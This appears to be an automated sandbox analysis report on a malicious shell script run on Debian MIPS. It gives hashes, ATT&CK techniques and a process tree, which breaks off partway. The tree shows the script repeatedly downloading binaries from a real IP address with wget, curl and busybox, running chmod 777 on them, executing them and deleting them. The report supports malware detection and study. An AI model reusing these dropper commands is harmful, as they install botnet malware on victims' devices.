9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e

Analysis

max time kernel
71s
max time network
73s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
19/11/2024, 05:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e.sh
Size 10KB
Sample241119-frtcdazrcv
SHA256 9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e
MD5 e3b5d19a004ba0f4b3ebb743dc63ef5b
SHA1 939dcb997017982ee5438e12d01ea92df4588fe8
SHA512 9a5ad6313d0784b5778b7a446f578a74cb63b0f75b0c4734674a21937537aa03ff7a9a6812f150c7660bc59af1892dcdbc7a508dd83564b947feea32e97d6747
SSDEEP 192:m/L+7UcsKWi7lp7U7Ko3q7ckjLSLeLJIHgqa3j5deSB7madxxp+8EDxEMT9lrEMO:LfX42DUIJogqWIIs/vUIJog4
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
824	chmod
833	chmod
941	chmod
983	chmod
769	chmod
881	chmod
887	chmod
917	chmod
923	chmod
965	chmod
791	chmod
749	chmod
935	chmod
971	chmod
977	chmod
899	chmod
905	chmod
847	chmod
947	chmod
812	chmod
755	chmod
869	chmod
911	chmod
929	chmod
953	chmod
738	chmod
959	chmod
893	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7	curl
File opened for modification	/tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj	curl
File opened for modification	/tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0	curl
File opened for modification	/tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL	curl
File opened for modification	/tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0	curl
File opened for modification	/tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi	curl
File opened for modification	/tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI	curl
File opened for modification	/tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln	curl
File opened for modification	/tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K	curl
File opened for modification	/tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI	curl
File opened for modification	/tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ	curl
File opened for modification	/tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS	curl
File opened for modification	/tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL	curl
File opened for modification	/tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7	curl
File opened for modification	/tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ	curl
File opened for modification	/tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K	curl
File opened for modification	/tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS	curl
File opened for modification	/tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ	curl
File opened for modification	/tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe	curl
File opened for modification	/tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ	curl
File opened for modification	/tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj	curl
File opened for modification	/tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe	curl
File opened for modification	/tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H	curl
File opened for modification	/tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi	curl
File opened for modification	/tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj	curl
File opened for modification	/tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H	curl
File opened for modification	/tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln	curl
File opened for modification	/tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj	curl

/tmp/9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e.sh
/tmp/9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e.sh
1⤵
PID:713
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:716
- /usr/bin/wget
  wget http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:736
- /bin/chmod
  chmod 777 OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  ./OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:743
- /usr/bin/wget
  wget http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:748
- /bin/chmod
  chmod 777 WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  ./WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:751
- /usr/bin/wget
  wget http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:754
- /bin/chmod
  chmod 777 a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  ./a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - Executes dropped EXE
  PID:756
- /bin/rm
  rm a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:757
- /usr/bin/wget
  wget http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:758
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:766
- /bin/chmod
  chmod 777 qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  ./qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:774
- /usr/bin/wget
  wget http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:775
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:788
- /bin/chmod
  chmod 777 tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  ./tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:795
- /usr/bin/wget
  wget http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:809
- /bin/chmod
  chmod 777 vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  ./vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - Executes dropped EXE
  PID:814
- /bin/rm
  rm vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:817
- /usr/bin/wget
  wget http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:823
- /bin/chmod
  chmod 777 3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  ./3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm 3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:826
- /usr/bin/wget
  wget http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:832
- /bin/chmod
  chmod 777 mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  ./mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - Executes dropped EXE
  PID:834
- /bin/rm
  rm mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:835
- /usr/bin/wget
  wget http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:836
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:837
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:844
- /bin/chmod
  chmod 777 9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  ./9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm 9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:851
- /usr/bin/wget
  wget http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:866
- /bin/chmod
  chmod 777 HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  ./HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:880
- /bin/chmod
  chmod 777 lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  ./lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:883
- /usr/bin/wget
  wget http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:886
- /bin/chmod
  chmod 777 AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  ./AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:889
- /usr/bin/wget
  wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:892
- /bin/chmod
  chmod 777 iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  ./iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:895
- /usr/bin/wget
  wget http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:896
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:898
- /bin/chmod
  chmod 777 O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  ./O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:901
- /usr/bin/wget
  wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:902
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:904
- /bin/chmod
  chmod 777 iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  ./iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:907
- /usr/bin/wget
  wget http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:910
- /bin/chmod
  chmod 777 O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  ./O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:913
- /usr/bin/wget
  wget http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:914
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:916
- /bin/chmod
  chmod 777 HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  ./HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:919
- /usr/bin/wget
  wget http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:922
- /bin/chmod
  chmod 777 lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  ./lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:925
- /usr/bin/wget
  wget http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:928
- /bin/chmod
  chmod 777 AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  ./AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:931
- /usr/bin/wget
  wget http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:934
- /bin/chmod
  chmod 777 OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  ./OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:937
- /usr/bin/wget
  wget http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:938
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:940
- /bin/chmod
  chmod 777 WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  ./WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:943
- /usr/bin/wget
  wget http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:944
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:945
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:946
- /bin/chmod
  chmod 777 a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  ./a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:949
- /usr/bin/wget
  wget http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:950
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:952
- /bin/chmod
  chmod 777 mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  ./mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:955
- /usr/bin/wget
  wget http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:958
- /bin/chmod
  chmod 777 9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  ./9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm 9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:961
- /usr/bin/wget
  wget http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:962
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:963
- /bin/busybox
